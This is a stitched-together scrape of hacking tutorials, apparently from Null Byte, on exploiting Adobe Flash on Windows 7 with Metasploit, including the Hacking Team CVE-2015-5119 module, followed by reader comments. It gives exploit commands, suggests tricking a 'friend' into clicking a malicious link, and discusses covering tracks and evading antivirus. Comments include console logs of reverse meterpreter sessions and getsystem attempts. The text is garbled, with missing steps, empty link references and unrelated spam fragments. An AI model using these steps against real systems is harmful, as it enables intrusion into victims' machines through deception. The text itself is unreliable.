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Welcome back, my greenhorn hackers! In my continuing effort to demonstrate to you how to hack the ubiquitous Windows 7, we will going after that notoriously vulnerable Adobe Flash that is on nearly every client Windows system (you are not likely to find it on servers). Flash and the other Adobe products have had a reputation for shoddy and insecure design for quite awhile now.

The problem is so bad, that Apple will not allow Flash on its iOS operating system, angering many users, but keeping iOS more secure and energy efficient (when Flash crashes, it sucks up energy from the battery—and it crashes often, as we all know too well). In, I showed you how to find vulnerabilities by using the database. Let's go there again and take a look at the Adobe Flash vulnerabilities. Step 1: Search Vulnerabilities When we go to and search the database for Adobe and then Flash Player, we get 8 pages of vulnerabilities with 20 vulnerabilities per page. Its obvious from this listing that Flash is riven with security problems. We could could spend weeks going through all the Adobe Flash Player vulnerabilities, but I'll leave that for you to do.

If you are looking to attack a client machine on a network, you would be well-served to spend your time focused on Adobe Flash. There are so many vulnerabilities and new ones arrive daily! Step 2: Pick One Let's take a look at one vulnerability known as, a remote memory corruption. It was found in the wild back in February 2012 and involves using a corrupted.mp4 file to create a buffer overflow in Flash that enables the attacker to execute their own code. Note that it works for Adobe Flash Player through 11.1.

Once we set the payload, we once again need to check options as payloads have their own set of options. When we do so, we see that we need to set the LHOST (the IP of our local host) for the meterpreter.

• msf >set LHOST 192.168.1.104 Step 5: Exploit! With all the parameters we need set, all we need to do type: • msf>exploit This will now generate a corrupted.mp4 file and will host it on the Metasploit web server. Now we need to be creative and send that link to the victim and hope they click on it. For instance, you could send it to a 'friend' saying 'Hey, check out this great new hack I found on Null Byte!' When they click on it, Metasploit will send the.mp4 file to their browser creating a buffer overflow as seen below. Great post, phew finally, I have read and practiced each of your tutorials not counting the ones listed as 'other' and must say that I am impressed.

I have a few questions if you have the time, I have been using ubuntu and have dled each of the hack as needed, which has been a great learning exp for me as this has caused me to have to lean some linux at the same time to get them to actually run. I would highly recommend this to other noobs rather than just using backtrack. But i will be installing Kali and am going to do it on a small partition as it will make it quicker and easier to wipe my drive as needed (cover my deleted tracks.) Is this advisable? Or would you recommend a flash drive even though you cant get update? The exploits that are new for new vulnerability's should those still be recompiled to escape virus detection?

Or are they 'safe' meaning the signatures have not been updated yet? Thanking you in advance a hopefully improving noob Reply. Jon: Welcome to Null Byte! I'm glad you are finding these tutorials helpful. I advise installing Kali or BackTrack either as a dual boot or in a VM. Any exploit that has been around more than a few months will have a signature in the AV database. The AV people do their job.

As for checking the whether a signature exists, simply run the exploit against your AV and see if it detects it. That should be a good test, unless you have really poor AV. Most of the AV software publishers use the same signatures.

Welcome back, my novice hackers! As most of you know by now, a notorious commercial, legal hacking group named 'Hacking Team'. Digital Signage Software Mac Os X on this page. As part of the hack, thousands of emails and other material on their servers was divulged. Among the material released were three zero-day exploits. In this tutorial, we will walk through the steps to load one of them, which has become known as the exploit. As most of you know, I think that Adobe's Flash application is among the most vulnerable applications known to mankind.

New vulnerabilities and exploits are found nearly daily. When I am advising highly secure environments such as banks and the military, I advise that Adobe Flash should be banned from all systems within the organization in order to remain secure. Fortunately for you hackers, few organizations heed this advice. The Hacking Team dump took place Sunday, July 5th, with millions of emails and other material downloaded and placed on WikiLeaks. Within days, a developer at Rapid7 had integrated this zero-day into a new exploit.

Unfortunately, as of July 13th, it is still not available from Rapid7 via msfupdate. However, it is available in a number of different places including. I wanted to get this code to you as soon as possible while this vulnerability is still largely un-patched. Step 1: Find the Exploit Code Let's begin by going to. There, let's search for CVE-2015-5119.

When you do so, you will come to this vulnerability as seen below. Copy and paste it into a text file. Now save that text file to your Desktop naming it adobe_hackingteam_exploit.rb. You can name it whatever you want, but if you aren't familiar with Metasploit, follow my instructions precisely to simplify this process and to increase the likelihood of success. Step 2: Install into Metasploit In the next step, we need to install this module into Metasploit if we are to use it. Please see, and follow the instructions carefully with the exception that we will be moving this exploit to: kali >mv /root/Desktop/adobe_hackingteam_2015 /root/.msf/modules/exploits/windows/flash. Hi OCCUPYTHEWEB, -->I followed exactly the steps as you documented as above.

-->I see there are 2 seems to be typo error. -->Two different path:.msf4 or msf? Kali >mv /root/Desktop/adobe hackingteam2015 /root/.msf/modules/exploits/windows/flash kali >ls -l /root/.msf4/modules/exploits/windows/flash -->I tried to move the exploit script to 'root/.msf4/modules/exploits/windows/flash' and follow your steps. I see the following error: msf exploit(adobe hackingteamexploit) >exploit * Exploit running as background job. * Started reverse handler on 172.16.1 • Exploit failed: Errno::ENOENT No such file or directory @ rb sysopen - /usr/share/metasploit-framework/data/exploits/CVE-2015-5119/msf.swf -->I mkdir the path and touch the file. Not sure if I should touch the msf.swf file manually.

Root@kali:/usr/share/metasploit-framework/data/exploits# mkdir CVE-2015-5119 root@kali:/usr/share/metasploit-framework/data/exploits/CVE-2015-5119# touch msf.swf root@kali:/usr/share/metasploit-framework/data/exploits/CVE-2015-5119# ls msf.swf -->I tried to browse the exploit link in a Win7 32bit, and Adobe Flash Player 11.2.202.235 environment, I didn't get the meterpreter command. Can you advise me if I missed anything out?

Msf exploit(adobe hackingteamexploit) >exploit * Exploit running as background job. * Started reverse handler on 172.16.1 * Using URL: * Local IP: * Server started. Msf exploit(adobe hackingteamexploit) >* 172.16.174.254 adobe hackingteamexploit - Gathering target information. * 172.16.174.254 adobe hackingteamexploit - Sending HTML response. * 172.16.174.254 adobe hackingteamexploit - Request: /ZTejRUUbpuV4NpF/AylkoU/ * 172.16.174.254 adobe hackingteamexploit - Sending HTML. * 172.16.174.254 adobe hackingteamexploit - Request: /ZTejRUUbpuV4NpF/AylkoU/fTzqTB.swf * 172.16.174.254 adobe hackingteamexploit - Sending SWF. I seem to have succeeded in connecting into a session with meterpreter but, I have reached complications.

I tried to getsystem using windows/meterpreter/reverse_https using excel to exploit it. But it fails so I try to put it in the background and set another payload but when hit exploit it connects to another meterpreter session and then the computer on which I am practicing on to be the victim shows windows powershell stopped working.

Un Venerdi Nero Suvarnabhumi. Which then om my linux computer closes the meterpreter session it just opened. So again then I am stuck at not getsystem since it is only limited.